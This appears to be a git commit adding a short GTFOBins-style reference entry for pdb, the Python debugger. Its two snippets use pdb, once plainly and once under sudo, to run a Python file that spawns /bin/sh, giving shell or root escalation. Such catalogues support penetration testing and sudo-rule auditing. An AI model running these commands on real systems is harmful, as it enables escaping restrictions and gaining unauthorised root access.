Create pdb.md
parent
3e6ac9bcf3
commit
41124f24c2
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
||||
pdb $TF/x
|
||||
cont
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
||||
sudo pdb $TF/x
|
||||
cont
|
||||
---
|
Loading…
Reference in New Issue